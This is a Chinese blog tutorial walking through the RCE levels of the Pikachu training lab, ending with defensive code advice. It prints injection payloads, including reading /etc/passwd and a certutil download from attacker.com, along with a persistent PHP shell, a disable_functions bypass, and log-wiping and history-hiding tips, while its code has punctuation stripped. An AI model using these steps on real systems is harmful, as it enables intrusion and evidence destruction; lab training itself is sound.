新手必看:用Pikachu靶场复现RCE漏洞,从‘ping’到‘eval’的实战通关笔记

张开发
2026/4/18 18:12:34 15 分钟阅读

分享文章

新手必看:用Pikachu靶场复现RCE漏洞,从‘ping’到‘eval’的实战通关笔记
从零到一Pikachu靶场RCE漏洞实战通关全记录第一次接触网络安全时我对那些能在黑屏终端里输入几行代码就能控制系统的黑客既崇拜又困惑。直到在Pikachu靶场亲手复现了RCE漏洞才真正理解远程代码执行这五个字的分量。本文将带你体验一个完全新手的视角——从安装配置到实战通关的全过程包括那些教程里不会告诉你的细节问题和灵光乍现的解决时刻。1. 环境准备与靶场搭建1.1 选择适合新手的工具组合作为初学者我尝试过多种本地环境配置方案最终推荐以下组合PHPStudyWindows平台或XAMPP跨平台一键搭建ApacheMySQLPHP环境Pikachu靶场源码从GitHub官方仓库下载最新release版本蚁剑(AntSword)图形化webshell管理工具比命令行更友好注意下载PHPStudy时务必从官网获取避免第三方修改版可能携带的后门安装过程中最容易卡壳的是PHP版本兼容性问题。Pikachu靶场在PHP 7.4环境下运行时部分关卡会出现异常。我的实测可用版本组合组件推荐版本备注Apache2.4.x无需特殊配置PHP5.6-7.27.3可能导致页面空白MySQL5.78.0需修改认证插件1.2 解决Windows下的中文乱码问题按照大多数教程搭建后你会发现exec ping关卡的返回结果全是乱码。这不是你的操作错误而是Windows控制台编码与PHP输出不匹配导致的。通过以下步骤可彻底解决修改Apache配置文件httpd.confAddDefaultCharset UTF-8在PHP脚本开头强制指定编码header(Content-Type: text/html; charsetutf-8);如果仍存在乱码尝试转换命令输出编码// 替换原来的shell_exec() $output iconv(GBK, UTF-8, shell_exec($command));2. 理解RCE漏洞的本质2.1 命令注入与代码执行的区别很多初学者容易混淆这两个概念其实它们的攻击面和防御策略有本质不同命令注入(Command Injection)攻击对象操作系统命令解释器如bash/cmd典型函数system(),exec(),passthru()示例漏洞$ip $_GET[ip]; // 用户可控输入 system(ping -c 3 $ip); // 直接拼接命令代码执行(Code Execution)攻击对象编程语言解释器如PHP/Python引擎典型函数eval(),assert(),preg_replace()示例漏洞$code $_GET[code]; // 用户输入PHP代码 eval($code); // 直接执行2.2 漏洞的实战价值排序根据实际渗透测试经验RCE漏洞的利用价值可以按以下维度评估评估维度权重说明执行上下文30%root权限 普通用户 受限用户回显方式20%有完整回显 无回显过滤严格度25%无过滤 部分过滤 严格白名单网络可达性15%出网 不出网利用稳定性10%稳定触发 偶发成功3. exec ping关卡深度实战3.1 突破基础命令限制当输入127.0.0.1 whoami成功返回用户信息后很多教程就结束了。但实战中我们需要获取更多信息探测系统环境变量127.0.0.1 set返回结果会暴露路径信息、安装的软件版本等敏感数据绕过无回显限制 如果命令执行但无回显可以使用延时判断127.0.0.1 ping -n 5 127.0.0.1观察响应时间是否明显延长文件下载技巧 在Windows靶机上测试下载127.0.0.1 certutil -urlcache -split -f http://attacker.com/tool.exe C:\Windows\Temp\tool.exe3.2 高级连接符的妙用除了常见的和||不同系统的连接符有细微差别Linux特有# 命令分隔 127.0.0.1; cat /etc/passwd # 后台执行 127.0.0.1 sleep 5 # 管道传递 127.0.0.1 | base64Windows特有:: 换行执行 127.0.0.1 %0A whoami :: 变量截断 127.0.0.1 %PROGRAMFILES:~10,-4%4. exec eval关卡进阶利用4.1 从代码执行到webshell上传一句话木马只是开始真正的挑战在于绕过disable_functions限制// 检查被禁用的函数 print_r(ini_get(disable_functions)); // 尝试LD_PRELOAD绕过 putenv(LD_PRELOAD/tmp/evil.so); mail(,,,);内存shell维持 使用register_shutdown_function实现无文件持久化register_shutdown_function(function(){ system($_GET[cmd]); });4.2 蚁剑连接的高级配置当基础连接成功后可以优化蚁剑配置提升操作效率虚拟终端设置{ shell_path: C:\\Windows\\System32\\cmd.exe, encoding: UTF-8, timeout: 30 }插件增强功能DB_Plugin直接操作数据库FileMonitor实时监控文件变化PortScan内网端口扫描5. 从靶场到实战的思维转变在真实渗透测试中RCE漏洞的利用远比靶场复杂。需要建立以下关键意识环境指纹收集通过php_uname()获取系统架构检查open_basedir限制范围探测allow_url_include配置权限提升路径graph LR A[Web用户] -- B[写权限目录] B -- C[定时任务/服务] C -- D[Root权限]痕迹清理技巧修改文件时间戳touch -r index.php shell.php清除日志echo /var/log/apache2/access.log禁用history记录unset HISTFILE6. 防御视角的代码审计作为开发者应该从源码层面预防RCE漏洞命令执行安全规范// 不安全 system(ping .$_GET[ip]); // 相对安全 $allowed_ips [192.168.1.1, 127.0.0.1]; if(in_array($_GET[ip], $allowed_ips)){ $cmd escapeshellcmd(ping -c 3 .$_GET[ip]); system($cmd); }动态代码执行防护使用assert_options(ASSERT_BAIL, true)中断危险断言替换eval()为json_decode()等安全函数部署PHP Taint扩展检测污染数据在Pikachu靶场的实战中最让我惊讶的是看似简单的漏洞背后隐藏着如此丰富的攻击面。记得第一次通过RCE拿到系统权限时那种既兴奋又后怕的感觉至今难忘——兴奋于技术的威力后怕于现实中存在这样漏洞的系统可能造成的危害。这也让我明白安全研究不仅是技术探索更是一份责任。

更多文章